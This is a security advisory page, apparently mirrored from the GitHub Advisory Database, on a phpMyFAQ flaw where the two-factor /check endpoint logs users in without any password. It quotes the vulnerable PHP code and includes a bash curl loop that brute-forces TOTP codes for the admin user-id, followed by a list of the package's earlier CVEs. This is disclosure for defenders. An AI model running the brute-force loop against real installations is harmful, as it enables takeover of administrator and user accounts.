Hoch

phpMyFAQ's two-factor authentication login bypasses the password factor

  • Veröffentlicht: 24.09.2026
  • Aktualisiert: 11.10.2026 10:22

Summary

The public two-factor verification endpoint POST /check logs a user in based solely on a valid 6-digit TOTP token and a chosen user-id. It does not require — and is not bound to — a prior successful password authentication. For any account that has 2FA enabled, an unauthenticated attacker can authenticate without knowing the password, reducing the account to a single factor (a 6-digit code) that is itself brute-forceable because this endpoint has no lockout (see Finding #2). This is an authentication bypass of the primary credential for all 2FA-protected accounts, including administrators.

Details

src/phpMyFAQ/Controller/Frontend/AuthenticationController.php:255-283:

php
#[Route(path: '/check', name: 'public.auth.check', methods: ['POST'])]
public function check(Request $request): RedirectResponse
{
    if ($this->currentUser->isLoggedIn()) {
        return new RedirectResponse(url: './');
    }

    $token  = Filter::filterVar($request->request->get('token'), FILTER_SANITIZE_SPECIAL_CHARS);
    $userId = (int) Filter::filterVar($request->request->get('user-id'), FILTER_VALIDATE_INT);

    if ($userId <= 0) { /* ... */ }

    $this->currentUserService->getUserById($userId);          // loads attacker-chosen user

    if (strlen((string) $token) === 6) {
        $result = $this->twoFactor->validateToken($token, $userId);
        if ($result) {
            $this->currentUserService->twoFactorSuccess();    // full login, no password ever checked
            return new RedirectResponse(url: './');
        }
    }
    // ...
}

twoFactorSuccess() performs a complete session login (src/phpMyFAQ/User/CurrentUser.php:239-247):

php
public function twoFactorSuccess(): bool
{
    $this->setLoggedIn(true);
    $this->updateSessionId(true);
    $this->saveToSession();
    $this->setSuccess(true);
    return true;
}

There is no server-side state (such as a "password already verified for this user" flag) tying the /check step to the password step. Compare the admin flow, which does it correctly via a 2fa_pending_user_id session value set only after the password is validated (src/phpMyFAQ/Controller/Administration/AuthenticationController.php:218-262) — proving the frontend omission is a regression, not an intended design.

validateToken() (src/phpMyFAQ/User/TwoFactor.php:87-101) returns false when the user has no secret, so this is not a universal bypass of all accounts — it specifically defeats the password factor of every 2FA-enabled account:

php
public function validateToken(string $token, int $userId): bool
{
    if (strlen($token) !== 6 || $userId <= 0) { return false; }
    $this->currentUser->getUserById($userId);
    $secret = $this->currentUser->getUserData('secret');
    if (!is_string($secret) || $secret === '') { return false; }   // no 2FA -> false
    return $this->twoFactorAuth->verifyCode($secret, $token);       // 6-digit TOTP only
}

Because /check has no failed-attempt lockout and the per-account login throttle is disabled by default (Finding #2), the 6-digit code can be brute-forced across TOTP windows. The net effect: 2FA, intended to strengthen the password, becomes the only barrier and is independently guessable.

PoC

Pre-req: a target account (e.g. admin) has 2FA enabled (a common hardening choice). The attacker knows or enumerates the numeric user-id (1 = first/admin account in default installs).

bash
# No password required. Submit user-id + a 6-digit TOTP guess to /check.
# Iterate the token space; the session cookie returned on success is an authenticated session.
for code in $(seq -w 0 999999); do
  curl -ks -c jar.txt -b jar.txt \
    -X POST "https://target/check" \
    --data-urlencode "user-id=1" \
    --data-urlencode "token=$(printf '%06d' 10#$code)" \
    -o /dev/null -w "%{http_code} %{redirect_url}\n" \
  | grep -q './'   && echo "[+] logged in with token $code" && break
done
# A successful guess yields a logged-in session in jar.txt -> full account takeover (no password used).

If the attacker already controls or has phished the victim's TOTP device, a single request authenticates with no password at all.

Impact

Authentication bypass (CWE-287) / missing authentication for a critical step (CWE-306). The password — the primary credential — is never required for any 2FA-enabled account. Combined with the absent lockout, this enables full account takeover of users and administrators. Impacted: any deployment where users enable two-factor authentication.

Betroffene Software

Klicken Sie auf eine Technologie, um alle zugehörigen Schwachstellen anzuzeigen.

PlattformPaketAnfällige VersionenBehoben in
Composer-Paket phpmyfaq/phpmyfaq >= 3.2.0, < 4.1.6 4.1.6
Composer-Paket thorsten/phpmyfaq >= 3.2.0, < 4.1.6 4.1.6

Verweise

CVSS-Wert 8.1/10
CVSS-Vektor
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
Schwäche (CWE)
CWE-287
Plattform
Composer
Paket
phpmyfaq/phpmyfaq, thorsten/phpmyfaq
Veröffentlicht
24.09.2026
Aktualisiert
11.10.2026 10:22

Quellen und Lizenzen

OSV / GitHub Advisory Database - GHSA-8gpw-xvpf-hvx5 - CC BY 4.0

Schwachstellenhistorie: thorsten/phpmyfaq

Alle veröffentlichten Schwachstellen dieses Pakets (Composer-Paket), neueste zuerst. Zeigt, ob es ein einmaliger Ausrutscher ist oder ein Paket, das man im Auge behalten muss.

Alle (112) im Archiv
Einträge insgesamt
112
Erste → letzte
05.2022 09.2026
Ohne Fix
2
In Angriffen ausgenutzt
0

Verteilung nach Schweregrad

  • Kritisch 8
  • Hoch 36
  • Mittel 67
  • Niedrig 1

Veröffentlichungen pro Jahr

  1. 2022: 8
  2. 2023: 62
  3. 2024: 2
  4. 2025: 6
  5. 2026: 34
Schweregrad:
  1. phpMyFAQ's two-factor authentication login bypasses the password factor dieser Eintrag
    Hoch · 8.1 CVE-2026-56737 >= 3.2.0, < 4.1.6 4.1.6
  2. Hoch · 7.5 CVE-2026-35672 < 4.1.3 4.1.3
  3. Hoch · 8.8 CVE-2026-35671 < 4.1.3 4.1.3
  4. Hoch · 7.6 CVE-2026-46367 >= 4.1.1, < 4.1.2 4.1.2
  5. Hoch · 7.5 CVE-2025-69200 < 4.0.16, >= 4.1.0-alpha, <= 4.1.0-beta.2 4.0.16
  6. Hoch · 8.1 CVE-2025-59943 >= 4.0.7, < 4.0.13 4.0.13
  7. Hoch · 7.6 CVE-2023-5865 < 3.2.2 3.2.2
  8. Hoch · 7.4 CVE-2023-5864 < 3.2.1 3.2.1
  9. Hoch · 8.3 CVE-2023-5319 < 3.1.18 3.1.18
  10. Kritisch · 9.0 CVE-2023-5320 < 3.1.18 3.1.18
  11. Kritisch · 9.1 CVE-2023-5316 < 3.1.18 3.1.18
  12. Hoch · 8.8 CVE-2023-4007 < 3.1.16 3.1.16
  13. Hoch · 8.2 CVE-2023-2550 < 3.1.13 3.1.13
  14. Hoch · 8.3 CVE-2023-1887 < 3.1.12 3.1.12
  15. Hoch · 7.3 CVE-2023-1886 < 3.1.12 3.1.12
  16. Kritisch · 9.8 CVE-2023-0788 < 3.1.11 3.1.11
  17. Kritisch · 9.8 CVE-2023-0789 < 3.1.11 3.1.11
  18. Hoch · 8.8 CVE-2023-0790 < 3.1.11 3.1.11
  19. Hoch · 8.8 CVE-2023-0793 < 3.1.11 3.1.11
  20. Kritisch · 9.8 CVE-2023-0311 < 3.1.10 3.1.10
Mehr anzeigen (4) 40 von 44 angezeigt

Erkennen Sie Schwachstellen in Ihrer Anwendung

Mit der DockRay-Integration und aktivierter Softwareinventarisierung prüft DockRay gemeldete Komponentenversionen auf bekannte Schwachstellen und benachrichtigt Sie über bestätigte Treffer. Die Abdeckung hängt von der unterstützten Technologie und den verfügbaren Meldungen ab.

Anwendung verbinden
DockRay Newsletter

Anwendungssicherheit in Ihrem Postfach

Wichtige Schwachstellen, konkrete Empfehlungen und praktische Tipps für Ihre Anwendungen. Wählen Sie Ihre Technologien und verfolgen Sie, was für Ihr Projekt relevant ist.

  • Eine tägliche Zusammenfassung neuer Schwachstellen, auch kritischer.
  • Benachrichtigungen über wichtige Updates.
  • Praktische Tipps zur Sicherheit und Überwachung von Anwendungen.

Leer lassen, um Meldungen zu allen Technologien zu erhalten.

Kostenlos anmelden. In jeder E-Mail mit einem Klick abmelden.